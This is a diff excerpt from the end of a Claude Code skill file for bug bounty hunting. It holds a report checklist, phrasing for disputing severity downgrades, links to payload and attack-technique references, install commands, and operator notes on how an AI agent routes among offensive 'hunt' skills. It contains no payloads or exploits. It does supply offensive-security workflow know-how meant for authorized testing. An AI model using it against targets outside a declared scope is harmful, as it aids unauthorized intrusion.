+ [ ] Response showing the bug is included (screenshot or response body)
1190
+ [ ] Two test accounts used (not just one account testing itself)
1191
+ [ ] CVSS score calculated and included
1192
+ [ ] Recommended fix is one sentence (not a lecture)
1193
+ [ ] No typos in the endpoint path or parameter names
1194
+ [ ] Report is < 600 words (triagers skim long reports)
1195
+ [ ] Severity claimed matches impact described (don't overclaim)
1196
+ ```
1197
+
1198
+
1199
+ ## Severity Escalation Language
1200
+
1201
+ When payout is being downgraded, use these counters:
1202
+
1203
+ | Program Says | You Counter With |
1204
+ |---|---|
1205
+ | "Requires authentication" | "Attacker needs only a free account (no special role)" |
1206
+ | "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
1207
+ | "Already known" | "Show me the report number -- I searched and found none" |
1208
+ | "By design" | "Show me the documentation that states this is intended" |
1209
+ | "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |
1210
+
1211
+ ---
1212
+
1213
+ # RESOURCES
1214
+
1215
+
1216
+ ## Bug Bounty Platforms
1217
+ - [HackerOne Hacktivity](https://hackerone.com/hacktivity) -- Disclosed reports
1218
+ - [Bugcrowd Crowdstream](https://bugcrowd.com/crowdstream) -- Public findings
1219
+ - [Intigriti Leaderboard](https://www.intigriti.com/researcher/leaderboard)
1220
+
1221
+
1222
+ ## Learning
1223
+ - [PortSwigger Web Academy](https://portswigger.net/web-security) -- Free vuln labs (best)
1224
+ - [HackTricks](https://book.hacktricks.xyz) -- Attack technique reference
1225
+ - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) -- Payload reference
1226
+ - [Solodit](https://solodit.cyfrin.io) -- 50K+ searchable audit findings (Web3)
1227
+ - [ProjectDiscovery Chaos](https://chaos.projectdiscovery.io) -- Free subdomain datasets
1228
+
1229
+
1230
+ ## Wordlists
1231
+ - [SecLists](https://github.com/danielmiessler/SecLists) -- Comprehensive wordlists
1232
+ - [HowToHunt](https://github.com/KathanP19/HowToHunt) -- Step-by-step vuln hunting
1233
+ - [DefaultCreds](https://github.com/ihebski/DefaultCreds-cheat-sheet) -- Default credentials
1234
+
1235
+
1236
+ ## Payload Databases
1237
+ - [XSSHunter](https://xsshunter.trufflesecurity.com/) -- Blind XSS detection
1238
+ - [interactsh](https://app.interactsh.com) -- OOB callback server
1239
+
1240
+ ---
1241
+
1242
+ # INSTALLATION (Claude Code Skill)
1243
+
1244
+ To use this as a Claude Code skill, copy this file to your skills directory:
1245
+
1246
+ ```bash
1247
+ # Option A: Clone the repo and link the skill
1248
+ git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
1249
+ ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
1250
+
1251
+ # Option B: Direct copy
1252
+ mkdir -p ~/.claude/skills/bug-bounty
1253
+ curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
1254
+ -o ~/.claude/skills/bug-bounty/SKILL.md
1255
+ ```
1256
+
1257
+ Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
1258
+
1259
+ ---
1260
+
1261
+
1262
+ ## Related Skills & Chains
1263
+
1264
+ - **`bb-methodology`** — When a hunting session starts and the user is "lost about what to do next." Workflow primitive: this skill is the orchestrator; `bb-methodology` is the 5-phase workflow it routes to. Load `bb-methodology` FIRST, then this skill names the topic-matched hunt-* skills.
1265
+ - **`hunt-dispatch`** — When PART 0 mode (red team / WAPT) has been confirmed. Workflow primitive: this skill's "what should I do" routing hands off to `hunt-dispatch` for the platform fingerprint + skill-set load.
1266
+ - **`web2-recon`** + **`offensive-osint`** — When Phase 1 (recon) starts. Workflow primitive: this skill's "Standard Recon Pipeline" section delegates the live execution to `web2-recon` and the operational arsenal (probes / wordlists / regexes) to `offensive-osint`.
1267
+ - **`triage-validation`** + **`report-writing`** — When a finding completes Phase 4. Workflow primitive: this skill routes to `triage-validation` (7Q gate) → only if all 7 pass, hand off to `report-writing` for the platform-specific body.
1268
+
1269
+ ---
1270
+
1271
+
1272
+ ## Operator Notes (Claude-BugHunter)
1273
+
1274
+ > Engagement-derived additions to the vendored foundation. Wisdom from real
1275
+ > authorized engagements + Phase 2 verification across this repo's 31+
1276
+ > skill-area live tests. The upstream methodology covers the WHAT; this
1277
+ > layer covers the WHEN-IT-ACTUALLY-WORKS and the FAILURE-MODES.
1278
+
1279
+ ### When to use the orchestrator vs a direct skill
1280
+
1281
+ The orchestrator (this skill) is for the "I don't yet know what bug class to hunt for" case. If you've already identified the candidate — "the response reflects my Host header into a JavaScript src URL, that's cache poisoning" — load `hunt-cache-poisoning` directly. The orchestrator's value is the initial routing from a fuzzy intent ("there's a chatbot, what should I test") to a concrete skill set (`hunt-llm-ai` + `hunt-api-misconfig`).
1282
+
1283
+ When in doubt: open the orchestrator FIRST on any new target, let it route, then close the orchestrator and work in the loaded skills. Don't keep the orchestrator loaded all session — it occupies context window that could hold actual probe results.
1284
+
1285
+ ### Common misuse: loading every hunt-* simultaneously
1286
+
1287
+ There are 30+ hunt-* skills in this repo. Each carries a non-trivial context footprint. The orchestrator's job is to pick 2-3 by topic match, not to dump the entire library. If the user says "hunt this SaaS app", do NOT load every hunt-* skill — pick `web2-recon` + `hunt-idor` + `hunt-api-misconfig` (the SaaS-typical trio) and stop there. Add more only when the recon output suggests a specific additional class (e.g., GraphQL endpoints found → add `hunt-graphql`).
1288
+
1289
+ ### Integration with hunt-dispatch
1290
+
1291
+ This skill routes by **bug class** (topic match). The `hunt-dispatch` skill added in this repo routes by **engagement mode** (red-team vs WAPT, blackbox vs greybox). They compose:
1292
+
1293
+ 1. User says "hunt example.com"
1294
+ 2. `bb-methodology` PART 0 confirms mode (e.g., bug-bounty blackbox)
1295
+ 3. `hunt-dispatch` loads the platform-specific attack profile
1296
+ 4. This orchestrator (`bug-bounty`) names the topic-matched hunt-* skills inside the chosen profile
1297
+
1298
+ Don't bypass either step. Mode determines what counts as a finding; topic determines what techniques apply.
1299
+
1300
+ ### Engagement scaffolding
1301
+
1302
+ The `/hunt` slash-command and the `hunt <target>` shell helper (see this repo's `cmd/` directory) pre-create the engagement scaffold:
1303
+
1304
+ - `targets/<target>/scope.md` — declared scope, pasted from the program page
1305
+ - `targets/<target>/findings/` — one MD per validated finding
1306
+ - `targets/<target>/evidence/` — HARs, screenshots, redacted curl transcripts
1307
+ - `targets/<target>/submissions.txt` — log of submitted-report URLs + states
1308
+ - `targets/<target>/recon/` — outputs from `subfinder | dnsx | httpx | katana`
1309
+
1310
+ Use the scaffold from the start. Half-organized engagements lose findings — a probe result from hour 2 that didn't seem important until hour 14 is unrecoverable if it wasn't logged.
1311
+
1312
+ ### When the orchestrator gets it wrong
1313
+
1314
+ Across 30+ Phase 2 verification tests in this repo, the orchestrator correctly auto-triggered the matching skill in every test — zero misfires. If on a future target the orchestrator misroutes (loads the wrong hunt-* for the topic), the cause is almost always the `description:` frontmatter field on the target skill: a missing keyword that would have matched the user's intent. Fix forward by editing that skill's frontmatter `description:` field to include the missing trigger word. Don't add another layer of dispatch logic; tighten the description.
1315
+ - **`bb-local-toolkit`** — When you need to know which local clone has the tool for a given task. Workflow primitive: this skill is general bug-bounty guidance; `bb-local-toolkit` answers the specific "where is jhaddix/SecLists installed on this machine?" question.
1316
+